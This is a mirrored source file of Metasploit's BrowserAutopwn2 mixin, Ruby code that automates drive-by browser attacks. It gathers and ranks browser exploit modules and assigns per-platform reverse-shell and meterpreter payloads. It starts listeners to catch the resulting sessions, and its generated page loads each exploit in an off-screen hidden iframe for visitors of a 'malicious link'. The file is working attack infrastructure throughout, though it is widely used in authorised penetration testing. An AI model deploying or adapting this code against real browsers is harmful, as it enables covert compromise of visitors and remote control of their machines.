Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

browser_autopwn2.rb 27KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824
  1. ###
  2. #
  3. # The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
  4. # It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
  5. # exploits to perform a faster and smarter automated client-side attack.
  6. #
  7. ###
  8. require 'date'
  9. module Msf
  10. module Exploit::Remote::BrowserAutopwn2
  11. include Msf::Exploit::Remote::BrowserExploitServer
  12. # @return [Array] A list of initialized BAP exploits
  13. attr_reader :bap_exploits
  14. # @return [Array] A list of exploit job IDs
  15. attr_reader :exploit_job_ids
  16. # @return [Array] A list of payload job IDs
  17. attr_reader :payload_job_ids
  18. # @return [Array] Wanted payloads.
  19. attr_reader :wanted_payloads
  20. # The default platform-specific payloads and preferred LPORTS.
  21. # The hash key is the name of the platform that matches what's on the module.
  22. # The loader order is specific while starting them up.
  23. # Firefox payloads use generic handlers.
  24. DEFAULT_PAYLOADS = {
  25. firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 },
  26. android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 },
  27. win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 },
  28. linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
  29. unix: { payload: 'cmd/unix/reverse', lport: 4446 },
  30. osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 },
  31. java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 },
  32. generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 }
  33. }
  34. # Returns all the found exploit modules that support BrowserExploitServer by going through all
  35. # the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
  36. #
  37. # @return [void]
  38. def init_exploits
  39. # First we're going to avoid using #find_all because that gets very slow.
  40. framework.exploits.each_pair do |fullname, place_holder|
  41. # If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
  42. # and that's gotta be the active browser autopwn.
  43. next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
  44. # The user gets to specify which modules to include/exclude
  45. next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
  46. next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']
  47. mod = framework.exploits.create(fullname)
  48. unless mod
  49. print_status("Failed to load: #{fullname}")
  50. next
  51. end
  52. if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
  53. @bap_exploits << mod
  54. end
  55. end
  56. end
  57. # Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
  58. # This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
  59. # and all of its child exploits can share target information with each other. If BAP is active
  60. # but there are other standalone BES exploits running, this allows them not to use (or cleanup)
  61. # each other's data. Also, once requested, the method will not generate another profile prefix
  62. # again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
  63. #
  64. # @return [String]
  65. def browser_profile_prefix
  66. @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
  67. end
  68. # Removes background exploit jobs that belong to BAP.
  69. #
  70. # @return [void]
  71. def rm_exploit_jobs
  72. exploit_job_ids.each do |id|
  73. framework.jobs.stop_job(id) if framework.jobs[id.to_s]
  74. sleep(0.1)
  75. end
  76. end
  77. # Removes background payload jobs that belong to BAP.
  78. #
  79. # @return [void]
  80. def rm_payload_jobs
  81. payload_job_ids.each do |id|
  82. framework.jobs.stop_job(id) if framework.jobs[id.to_s]
  83. end
  84. end
  85. # Cleans up everything such as profiles and jobs.
  86. #
  87. # @see #rm_exploit_jobs The method for cleaning up jobs.
  88. # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
  89. # @return [void]
  90. def cleanup
  91. print_status("Cleaning up jobs...")
  92. super
  93. configure_job_output(false)
  94. clear_browser_profiles
  95. rm_exploit_jobs
  96. rm_payload_jobs
  97. end
  98. # Modifies an exploit's default datastore options. Some of them are user-configurable,
  99. # some must be defined by BAP.
  100. #
  101. # @return [void]
  102. def set_exploit_options(xploit)
  103. # We could do a massive xploit.datastore.merge!(self.datastore), but this seems
  104. # really expensive. Costs more loading time.
  105. # Set options configurable by the user.
  106. p = select_payload(xploit)
  107. xploit.datastore['PAYLOAD'] = p.first[:payload_name]
  108. xploit.datastore['LPORT'] = p.first[:payload_lport]
  109. xploit.datastore['SRVHOST'] = datastore['SRVHOST']
  110. xploit.datastore['SRVPORT'] = datastore['SRVPORT']
  111. xploit.datastore['LHOST'] = get_payload_lhost
  112. %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
  113. xploit.datastore[opt] = datastore[opt] if datastore[opt]
  114. end
  115. # Set options only configurable by BAP.
  116. xploit.datastore['DisablePayloadHandler'] = true
  117. xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix
  118. xploit.datastore['URIPATH'] = "/#{assign_module_resource}"
  119. xploit.datastore['WORKSPACE'] = self.workspace
  120. # Register this module as a child and copy datastore options
  121. xploit.register_parent(self)
  122. end
  123. # Checks if a resource is already taken or not.
  124. #
  125. # @param resource [String] The resource to check.
  126. # @return [TrueClass] Resource is taken.
  127. # @return [FalseClass] Resource is not taken.
  128. def is_resource_taken?(resource)
  129. taken = false
  130. bap_exploits.each do |m|
  131. # Prevent partial matching of one resource within another
  132. next unless m.datastore['URIPATH']
  133. return true if m.datastore['URIPATH'].index(resource)
  134. return true if resource.index(m.datastore['URIPATH'])
  135. end
  136. taken
  137. end
  138. # Returns a unique resource path.
  139. #
  140. # @return [String] A unique resource path.
  141. def assign_module_resource
  142. resource = ''
  143. while
  144. resource = Rex::Text.rand_text_alpha(rand(10) + 4)
  145. break unless is_resource_taken?(resource)
  146. end
  147. resource
  148. end
  149. # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
  150. # This method is part of what makes BAP smarter. However, the list rearranged by this exploit
  151. # will not actually be the same exploit list served to every client. When a client a request,
  152. # #get_suitable_exploits will generate another list that will actually be used by the client
  153. # by going through what we have here, and filter out all the exploit modules that don't match
  154. # the target's requirements.
  155. #
  156. # @see #bap_exploits The read-only attribute.
  157. # @see #sort_date_in_group The method for sorting by disclosure date
  158. # @see #sort_group_by_rank The method for sorting by rank
  159. # @see #sort_bap_modules The method for breaking the module list into groups
  160. # @see #finalize_sorted_modules The method for finalizing bap_exploits
  161. # @see #get_suitable_exploits
  162. # @return [void]
  163. def sort_bap_exploits
  164. bap_groups = group_bap_modules
  165. bap_groups = sort_date_in_group(bap_groups)
  166. bap_groups = sort_group_by_rank(bap_groups)
  167. finalize_sorted_modules(bap_groups)
  168. end
  169. # Sorts a grouped module list by disclosure date.
  170. #
  171. # @param bap_groups [Hash] A grouped module list.
  172. # @return [Hash] A hash with each module list sorted by disclosure date.
  173. def sort_date_in_group(bap_groups)
  174. bap_groups.each_pair do |ranking, module_list|
  175. bap_groups[ranking] = module_list.sort_by {|m|
  176. dstr = m.disclosure_date || "1970-01-01"
  177. Date.parse(dstr) rescue Date.parse("1970-01-01")
  178. }.reverse
  179. end
  180. end
  181. # Sorts a module list by ranking.
  182. #
  183. # @param bap_groups [Hash] A grouped module list.
  184. # @return [Hash] A hash grouped by ranking.
  185. def sort_group_by_rank(bap_groups)
  186. Hash[bap_groups.sort_by {|k,v| k}.reverse]
  187. end
  188. # Breaks @bap_exploits into groups for sorting purposes.
  189. #
  190. # @see #bap_exploits
  191. # @return [Hash] A module list grouped by rank.
  192. def group_bap_modules
  193. bap_groups = {}
  194. RankingName.each_pair do |ranking, value|
  195. bap_groups[ranking] = []
  196. bap_exploits.each do |m|
  197. next if m.rank != ranking
  198. bap_groups[ranking] << m
  199. end
  200. end
  201. bap_groups
  202. end
  203. # Modifies @bap_exploit by replacing it with the rearranged module list.
  204. #
  205. # @see #bap_exploits The read-only attribute.
  206. # @param bap_groups [Hash] A grouped module list.
  207. # @return [void]
  208. def finalize_sorted_modules(bap_groups)
  209. @bap_exploits = []
  210. bap_groups.each_pair do |ranking, module_list|
  211. module_list.each do |m|
  212. break if @bap_exploits.length >= datastore['MaxExploitCount']
  213. @bap_exploits << m
  214. end
  215. end
  216. end
  217. # Returns a payload name. Either this will be the user's choice, or falls back to a default one.
  218. #
  219. # @see DEFAULT_PAYLOADS The default settings.
  220. # @param platform [Symbol] Platform name.
  221. # @return [String] Payload name.
  222. def get_selected_payload_name(platform)
  223. payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]
  224. # The payload is legit, we can use it.
  225. # Avoid #create seems faster
  226. return payload_name if framework.payloads.keys.include?(payload_name)
  227. default = DEFAULT_PAYLOADS[platform][:payload]
  228. # The user has configured some unknown payload that we can't use,
  229. # fall back to default.
  230. default
  231. end
  232. # Returns the selected payload's LPORT.
  233. #
  234. # @param platform [Symbol]
  235. # @return [Fixnum]
  236. def get_selected_payload_lport(platform)
  237. datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
  238. end
  239. # Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
  240. # then the method automatically generates one by Rex.
  241. #
  242. # @return [String]
  243. def get_payload_lhost
  244. datastore['LHOST'] || Rex::Socket.source_address
  245. end
  246. # Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
  247. # we know how to find them and then clean them up.
  248. #
  249. # @note FireFox payload is skipped because there's no handler for it.
  250. # @see #payload_job_ids
  251. # @return [void]
  252. def start_payload_listeners
  253. # Spawn nothing if the user doesn't want to pop sessions.
  254. return if datastore['MaxSessionCount'] == 0
  255. # Don't repeat launching payload handlers
  256. wanted_payloads.uniq! { |e| e[:payload_name] }
  257. wanted_payloads.each do |wanted|
  258. multi_handler = framework.exploits.create('multi/handler')
  259. # We have to special case firefox
  260. payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]
  261. # User-configurable options
  262. # multi_handler.datastore.merge!(self.datastore) could be used, but
  263. # really expensive. Costs more loading time.
  264. multi_handler.datastore['LHOST'] = get_payload_lhost
  265. multi_handler.datastore['PAYLOAD'] = payload_name
  266. multi_handler.datastore['LPORT'] = wanted[:payload_lport]
  267. %w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
  268. InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
  269. StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
  270. IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
  271. SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
  272. multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
  273. end
  274. # Configurable only by BAP
  275. multi_handler.datastore['ExitOnSession'] = false
  276. multi_handler.datastore['EXITFUNC'] = 'thread'
  277. multi_handler.datastore['WORKSPACE'] = self.workspace
  278. # Register this module as a child and copy datastore options
  279. multi_handler.register_parent(self)
  280. # Now we're ready to start the handler
  281. multi_handler.exploit_simple(
  282. 'LocalInput' => nil,
  283. 'LocalOutput' => nil,
  284. 'Payload' => payload_name,
  285. 'RunAsJob' => true
  286. )
  287. @payload_job_ids << multi_handler.job_id
  288. end
  289. end
  290. # Returns the human-readable version of the rank.
  291. #
  292. # @param rank [Fixnum]
  293. # @return [String]
  294. def parse_rank(rank)
  295. RankingName[rank].to_s.capitalize
  296. end
  297. # Checks whether the payload is compatible with the module based on platform information.
  298. # Best for single-platform modules and for performance.
  299. #
  300. # @param m [Object] Module.
  301. # @param payload_platform [Symbol] Payload platform.
  302. # @return [TrueClass] Payload is compatible.
  303. # @return [FalseClass] Payload is not compatible.
  304. def is_payload_platform_compatible?(m, payload_platform)
  305. begin
  306. platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
  307. rescue ArgumentError
  308. false
  309. end
  310. return true if platform_obj && m.platform.platforms.include?(platform_obj)
  311. false
  312. end
  313. # Checks whether the payload is compatible with the module based on the module's compatibility list
  314. #
  315. # @param compatible_payloads [Array] A list of payloads that are compatible
  316. # @param payload_name [String]
  317. # @return [TrueClass] Payload is compatible.
  318. # @return [FalseClass] Payload is not compatible.
  319. def is_payload_compatible?(compatible_payloads, payload_name)
  320. compatible_payloads.each do |k|
  321. return true if k[0] == payload_name
  322. end
  323. false
  324. end
  325. # Checks if the module is multi-platform based on the directory path.
  326. #
  327. # @param m [Object] Module.
  328. # @return [TrueClass] is multi-platform.
  329. # @return [FalseClass] is not multi-platform.
  330. def is_multi_platform_exploit?(m)
  331. m.fullname.include?('multi/')
  332. end
  333. # Returns an appropriate payload that's compatible with the module.
  334. #
  335. # @param m [Object] A module that's been initialized.
  336. # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
  337. def select_payload(m)
  338. compatible_payloads = []
  339. module_payloads = nil
  340. DEFAULT_PAYLOADS.each_pair do |platform, info|
  341. payload_choice = {
  342. :payload_name => get_selected_payload_name(platform),
  343. :payload_lport => get_selected_payload_lport(platform)
  344. }
  345. if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
  346. compatible_payloads << payload_choice
  347. break
  348. else
  349. # The #compatible_payloads method is super expensive (slow). By doing it this way,
  350. # I managed to shave off seconds.
  351. module_payloads ||= m.compatible_payloads
  352. if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
  353. compatible_payloads << payload_choice
  354. end
  355. end
  356. end
  357. @wanted_payloads.concat(compatible_payloads)
  358. compatible_payloads
  359. end
  360. # Starts exploits.
  361. #
  362. # @return [void]
  363. def start_exploits
  364. bap_exploits.each do |m|
  365. set_exploit_options(m)
  366. m.exploit_simple(
  367. 'LocalInput' => nil,
  368. 'LocalOutput' => nil,
  369. 'Quiet' => true,
  370. 'Target' => 0,
  371. 'Payload' => m.datastore['PAYLOAD'],
  372. 'RunAsJob' => true
  373. )
  374. @exploit_job_ids << m.job_id
  375. end
  376. end
  377. # Sets up BAPv2. This is like our main function.
  378. #
  379. # @return [void]
  380. def setup
  381. t1 = Time.now
  382. super
  383. @bap_exploits = []
  384. @exploit_job_ids = []
  385. @payload_job_ids = []
  386. @wanted_payloads = []
  387. # #split might be expensive if the file is really big
  388. @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil
  389. print_status("Searching BES exploits, please wait...")
  390. init_exploits
  391. sort_bap_exploits
  392. print_status("Starting exploit modules...")
  393. start_exploits
  394. print_status("Starting listeners...")
  395. start_payload_listeners
  396. t2 = Time.now
  397. print_status("Time spent: #{(t2-t1).inspect}")
  398. configure_job_output(true)
  399. end
  400. # Configures the output of sub-jobs
  401. #
  402. # @return [void]
  403. def configure_job_output(on=true)
  404. (@exploit_job_ids + @payload_job_ids).each do |jid|
  405. job = framework.jobs[jid.to_s]
  406. next unless job
  407. job.ctx.each do |m|
  408. next unless m.respond_to? :user_output
  409. m.user_output = on ? self.user_output : nil
  410. break
  411. end
  412. end
  413. end
  414. # Prints all the exploits that BAP will consider using. But this isn't the actual list of
  415. # exploits that BAP will use for each target.
  416. #
  417. # @return [void]
  418. def show_ready_exploits
  419. columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']
  420. # If not verbose, you're not in dev mode.
  421. # As an user, you shouldn't be using any of these paths anyway.
  422. columns.delete('Path') if !datastore['VERBOSE']
  423. table = Rex::Text::Table.new(
  424. 'Header' => 'Exploits',
  425. 'Indent' => 1,
  426. 'Columns' => columns
  427. )
  428. # Without the order, sometimes the Rex table messes up even though in the array
  429. # the order looks right. So don't get rid of this.
  430. order = 1
  431. bap_exploits.each do |m|
  432. row = []
  433. row << order
  434. row << parse_rank(m.rank)
  435. row << m.shortname
  436. row << m.datastore['URIPATH'] if datastore['VERBOSE']
  437. row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
  438. table << row
  439. order += 1
  440. end
  441. print_line
  442. print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
  443. print_status("Exploits with the highest ranking and newest will be tried first.")
  444. print_line
  445. print_line table.to_s
  446. end
  447. # Prints information such as what exploits will be used, and the BAP URL.
  448. #
  449. # @return [void]
  450. def start_service
  451. super
  452. show_ready_exploits
  453. proto = (datastore['SSL'] ? "https" : "http")
  454. if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
  455. srvhost = datastore['URIHOST']
  456. elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
  457. srvhost = datastore['SRVHOST']
  458. else
  459. srvhost = Rex::Socket.source_address
  460. end
  461. if datastore['URIPORT'] && datastore['URIPORT'] != 0
  462. srvport = datastore['URIPORT']
  463. else
  464. srvport = datastore['SRVPORT']
  465. end
  466. service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
  467. print_good("Please use the following URL for the browser attack:")
  468. print_good("BrowserAutoPwn URL: #{service_uri}")
  469. end
  470. # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
  471. # gives us. It will do a global exploitable requirement check (the best it can do). There's
  472. # actually a target-specific exploitable requirement check too, but that is performed in
  473. # BrowserExploitServer while the exploit is being served. In other words, it is possible
  474. # #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
  475. # exploit dev accurately defines his/her global requirements), but the exploit always has a
  476. # choice to bail at the last second if it decides it is actually not suitable for the client.
  477. # That way we don't risk being too wreckless with our attack.
  478. #
  479. # @param cli [Socket] Socket for the browser
  480. # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
  481. # @return [Array]
  482. def get_suitable_exploits(cli, request)
  483. current_exploit_list = []
  484. tag = retrieve_tag(cli, request)
  485. profile_info = browser_profile[tag]
  486. bap_exploits.each do |m|
  487. if m.get_bad_requirements(profile_info).empty?
  488. current_exploit_list << m
  489. end
  490. end
  491. if datastore['ShowExploitList']
  492. show_exploit_list(cli.peerhost, tag, current_exploit_list)
  493. end
  494. current_exploit_list
  495. end
  496. # Logs a click that includes the suitable exploit list.
  497. #
  498. # @param ip [String] The target's IP address.
  499. # @param data [String] (Optional) CSV data that contains the exploit list.
  500. # @return [void]
  501. def log_click(ip, data='')
  502. report_note(
  503. :host => ip,
  504. :type => 'bap.clicks',
  505. :data => data,
  506. :update => :unique)
  507. end
  508. # Prints a list of suitable exploits for the current list.
  509. #
  510. # @see #sort_bap_exploits Explains how the exploit list is generated at first.
  511. # @see #get_suitable_exploits Explains how we serve exploits to each client.
  512. # @return [void]
  513. def show_exploit_list(ip, tag, current_exploit_list)
  514. order = 1
  515. table = Rex::Text::Table.new(
  516. 'Header' => '',
  517. 'Indent' => 1,
  518. 'Columns' => ['Order', 'IP', 'Exploit']
  519. )
  520. current_exploit_list.each do |m|
  521. table << [order, ip, m.shortname]
  522. order += 1
  523. end
  524. if table.rows.empty?
  525. print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
  526. else
  527. # Update the exploit list data
  528. log_click(cli.peerhost, table.to_csv)
  529. print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
  530. end
  531. end
  532. # Returns a list of exploit URLs. This is used by #build_html so the client can load our
  533. # exploits one by one.
  534. #
  535. # @see #build_html
  536. # @param cli [Socket] Socket for the browser
  537. # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
  538. # @return [Array]
  539. def get_exploit_urls(cli, request)
  540. urls = []
  541. exploit_list = get_suitable_exploits(cli, request)
  542. exploit_list.each do |mod|
  543. proto = datastore['SSL'] ? 'https' : 'http'
  544. # We haven't URIHOST and URIPORT into account here because
  545. # the framework uses them only on `get_uri`
  546. host = ''
  547. if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
  548. host = datastore['URIHOST']
  549. elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
  550. host = datastore['SRVHOST']
  551. else
  552. host = Rex::Socket.source_address
  553. end
  554. if datastore['URIPORT'] && datastore['URIPORT'] != 0
  555. port = datastore['URIPORT']
  556. else
  557. port = datastore['SRVPORT']
  558. end
  559. resource = mod.datastore['URIPATH']
  560. url = "#{proto}://#{host}:#{port}#{resource}"
  561. urls << url
  562. end
  563. urls
  564. end
  565. # Handles client requests specific for BAP.
  566. #
  567. # @param cli [Socket] Socket for the browser
  568. # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
  569. # @return [void]
  570. def on_request_uri(cli, request)
  571. # Check if target is on our whitelist
  572. if @whitelist && !is_ip_targeted?(cli.peerhost)
  573. print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
  574. send_not_found(cli)
  575. return
  576. end
  577. log_click(cli.peerhost)
  578. super
  579. end
  580. # Returns true if the IP is on our whitelist.
  581. #
  582. # @param [String] cli_ip Client's IP.
  583. # @return [TrueClass] The IP is on the whitelist.
  584. # @return [FalseClass] The IP is not on the whitelist.
  585. def is_ip_targeted?(cli_ip)
  586. return true unless @whitelist
  587. @whitelist.include?(cli_ip)
  588. end
  589. # Returns a number of sessions obtained by BAP's payload handlers.
  590. #
  591. # @return [Fixnum] A session count.
  592. def session_count
  593. total = 0
  594. payload_job_ids.each do |id|
  595. job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
  596. if job_workspace == self.workspace
  597. total += framework.jobs[id.to_s].ctx.first.session_count
  598. end
  599. end
  600. total
  601. end
  602. # Returns the custom 404 URL set by the user
  603. #
  604. # @return [String]
  605. def get_custom_404_url
  606. datastore['Custom404'].to_s
  607. end
  608. # Returns the HTML that serves our exploits.
  609. #
  610. # @param cli [Socket] Socket for the browser
  611. # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
  612. # @return [String] HTML
  613. def build_html(cli, request)
  614. exploit_list = get_exploit_urls(cli, request)
  615. if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
  616. print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
  617. if datastore['HTMLContent'].blank?
  618. send_not_found(cli)
  619. return ''
  620. else
  621. return datastore['HTMLContent']
  622. end
  623. elsif exploit_list.empty?
  624. print_status("No suitable exploits to send for #{cli.peerhost}")
  625. if datastore['HTMLContent'].blank?
  626. send_not_found(cli)
  627. return ''
  628. else
  629. return datastore['HTMLContent']
  630. end
  631. end
  632. # Some Flash exploits don't seem to work well with a hidden iframe.
  633. js = %Q|
  634. var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];
  635. function setElementStyle(e, opts) {
  636. if (typeof e.style.setAttribute == 'undefined') {
  637. var attributeString = '';
  638. for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
  639. e.setAttribute("style", attributeString);
  640. } else {
  641. for (var key in opts) {
  642. e.style.setAttribute(key, opts[key]);
  643. }
  644. }
  645. }
  646. function moveIframe(e) {
  647. var opts = {
  648. 'position': 'absolute',
  649. 'left': screen.width * -screen.width
  650. }
  651. setElementStyle(e, opts);
  652. }
  653. window.onload = function() {
  654. var e = document.createElement("iframe");
  655. e.setAttribute("id", "myiframe");
  656. moveIframe(e);
  657. document.body.appendChild(e);
  658. loadExploit();
  659. }
  660. function loadExploit() {
  661. var e = document.getElementById("myiframe");
  662. var firstUri = exploitList.splice(0, 1);
  663. if (firstUri != '') {
  664. e.setAttribute("src", firstUri);
  665. setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
  666. }
  667. }
  668. |
  669. %Q|<html>
  670. <head>
  671. <script>
  672. #{js}
  673. </script>
  674. </head>
  675. <body>
  676. </body>
  677. </html>
  678. #{datastore['HTMLContent']}|
  679. end
  680. end
  681. end